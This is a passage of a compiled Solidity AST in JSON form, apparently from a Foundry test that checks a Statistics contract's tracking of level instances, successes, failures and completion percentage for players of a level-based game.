external"}},"id":66163,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2900:61:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66164,"nodeType":"ExpressionStatement","src":"2900:61:153"},{"expression":{"arguments":[{"id":66168,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"3088:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66165,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3069:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66167,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3075:12:153","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"3069:18:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":66169,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3069:35:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66170,"nodeType":"ExpressionStatement","src":"3069:35:153"},{"expression":{"arguments":[{"id":66174,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65920,"src":"3138:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66175,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"3156:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66176,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65910,"src":"3173:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66171,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3114:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66173,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3120:17:153","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"3114:23:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66177,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3114:65:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66178,"nodeType":"ExpressionStatement","src":"3114:65:153"},{"expression":{"arguments":[{"hexValue":"496e7374616e636520666f7220746865206c6576656c206973206e6f742063726561746564","id":66182,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3205:39:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_ad999a6b6e67c5d98dbb66ebf083cb76499ec79f0a29579ce1b2848f05049822","typeString":"literal_string \"Instance for the level is not created\""},"value":"Instance for the level is not created"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ad999a6b6e67c5d98dbb66ebf083cb76499ec79f0a29579ce1b2848f05049822","typeString":"literal_string \"Instance for the level is not created\""}],"expression":{"id":66179,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"3189:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66181,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3192:12:153","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"3189:15:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":66183,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3189:56:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66184,"nodeType":"ExpressionStatement","src":"3189:56:153"},{"expression":{"arguments":[{"id":66188,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"3275:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66189,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"3293:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66190,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65910,"src":"3310:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66185,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3255:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66187,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3261:13:153","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"3255:19:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66191,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3255:61:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66192,"nodeType":"ExpressionStatement","src":"3255:61:153"},{"expression":{"arguments":[{"hexValue":"4c6576656c20616c726561647920636f6d706c65746564","id":66196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3411:25:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_543d0362379075e492932c3d227cee52d76dd6bf7a1bf03c2393235ed84c1c17","typeString":"literal_string \"Level already completed\""},"value":"Level already completed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_543d0362379075e492932c3d227cee52d76dd6bf7a1bf03c2393235ed84c1c17","typeString":"literal_string \"Level already completed\""}],"expression":{"id":66193,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"3395:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66195,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3398:12:153","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"3395:15:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":66197,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3395:42:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66198,"nodeType":"ExpressionStatement","src":"3395:42:153"},{"expression":{"arguments":[{"id":66202,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"3467:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66203,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"3485:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66204,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"3502:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66199,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3447:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66201,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3453:13:153","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"3447:19:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66205,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3447:60:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66206,"nodeType":"ExpressionStatement","src":"3447:60:153"},{"expression":{"arguments":[{"id":66210,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65920,"src":"3597:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66211,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"3615:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66212,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"3632:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66207,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3573:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66209,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3579:17:153","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"3573:23:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3573:64:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66214,"nodeType":"ExpressionStatement","src":"3573:64:153"},{"expression":{"arguments":[{"id":66218,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65920,"src":"3729:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66219,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"3747:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66220,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"3764:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66215,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3709:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66217,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3715:13:153","memberName":"submitFailure","nodeType":"MemberAccess","referencedDeclaration":56000,"src":"3709:19:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66221,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3709:60:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66222,"nodeType":"ExpressionStatement","src":"3709:60:153"},{"expression":{"arguments":[{"id":66226,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65920,"src":"3799:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66227,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"3817:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66228,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"3834:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66223,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3779:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66225,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3785:13:153","memberName":"submitFailure","nodeType":"MemberAccess","referencedDeclaration":56000,"src":"3779:19:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66229,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3779:60:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66230,"nodeType":"ExpressionStatement","src":"3779:60:153"},{"expression":{"arguments":[{"arguments":[{"id":66234,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65910,"src":"3884:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66235,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"3891:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66232,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3861:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66233,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3867:16:153","memberName":"isLevelCompleted","nodeType":"MemberAccess","referencedDeclaration":56143,"src":"3861:22:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_bool_$","typeString":"function (address,address) view external returns (bool)"}},"id":66236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3861:46:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":66231,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"3849:11:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":66237,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3849:59:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66238,"nodeType":"ExpressionStatement","src":"3849:59:153"},{"assignments":[66240],"declarations":[{"constant":false,"id":66240,"mutability":"mutable","name":"totalLevels","nameLocation":"3983:11:153","nodeType":"VariableDeclaration","scope":66337,"src":"3975:19:153","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66239,"name":"uint256","nodeType":"ElementaryTypeName","src":"3975:7:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":66245,"initialValue":{"arguments":[{"id":66243,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"4045:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66241,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"3997:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66242,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4003:41:153","memberName":"getTotalNoOfLevelInstancesCreatedByPlayer","nodeType":"MemberAccess","referencedDeclaration":56038,"src":"3997:47:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":66244,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3997:53:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3975:75:153"},{"expression":{"arguments":[{"id":66247,"name":"totalLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66240,"src":"4069:11:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"32","id":66248,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4082:1:153","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":66246,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"4060:8:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":66249,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4060:24:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66250,"nodeType":"ExpressionStatement","src":"4060:24:153"},{"assignments":[66252],"declarations":[{"constant":false,"id":66252,"mutability":"mutable","name":"totalLevelsCompleted","nameLocation":"4161:20:153","nodeType":"VariableDeclaration","scope":66337,"src":"4153:28:153","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66251,"name":"uint256","nodeType":"ElementaryTypeName","src":"4153:7:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":66257,"initialValue":{"arguments":[{"id":66255,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"4234:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66253,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"4184:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66254,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4190:43:153","memberName":"getTotalNoOfLevelInstancesCompletedByPlayer","nodeType":"MemberAccess","referencedDeclaration":56053,"src":"4184:49:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":66256,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4184:55:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"4153:86:153"},{"expression":{"arguments":[{"id":66259,"name":"totalLevelsCompleted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66252,"src":"4258:20:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"31","id":66260,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4280:1:153","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":66258,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"4249:8:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":66261,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4249:33:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66262,"nodeType":"ExpressionStatement","src":"4249:33:153"},{"assignments":[66264],"declarations":[{"constant":false,"id":66264,"mutability":"mutable","name":"totalLevelsFailed","nameLocation":"4356:17:153","nodeType":"VariableDeclaration","scope":66337,"src":"4348:25:153","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66263,"name":"uint256","nodeType":"ElementaryTypeName","src":"4348:7:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":66269,"initialValue":{"arguments":[{"id":66267,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"4420:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66265,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"4376:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66266,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4382:37:153","memberName":"getTotalNoOfFailedSubmissionsByPlayer","nodeType":"MemberAccess","referencedDeclaration":56068,"src":"4376:43:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":66268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4376:49:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"4348:77:153"},{"expression":{"arguments":[{"id":66271,"name":"totalLevelsFailed","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66264,"src":"4444:17:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"32","id":66272,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4463:1:153","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":66270,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"4435:8:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":66273,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4435:30:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66274,"nodeType":"ExpressionStatement","src":"4435:30:153"},{"assignments":[66276],"declarations":[{"constant":false,"id":66276,"mutability":"mutable","name":"percentage","nameLocation":"4541:10:153","nodeType":"VariableDeclaration","scope":66337,"src":"4533:18:153","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66275,"name":"uint256","nodeType":"ElementaryTypeName","src":"4533:7:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":66281,"initialValue":{"arguments":[{"id":66279,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"4591:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66277,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"4554:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4560:30:153","memberName":"getPercentageOfLevelsCompleted","nodeType":"MemberAccess","referencedDeclaration":56243,"src":"4554:36:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":66280,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4554:42:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"4533:63:153"},{"expression":{"arguments":[{"id":66283,"name":"percentage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66276,"src":"4615:10:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"302e35","id":66284,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4627:9:153","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_500000000000000000_by_1","typeString":"int_const 500000000000000000"},"value":"0.5"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_500000000000000000_by_1","typeString":"int_const 500000000000000000"}],"id":66282,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"4606:8:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":66285,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4606:31:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66286,"nodeType":"ExpressionStatement","src":"4606:31:153"},{"expression":{"arguments":[{"id":66290,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"4737:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66291,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"4755:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66292,"name":"user3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65912,"src":"4772:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address 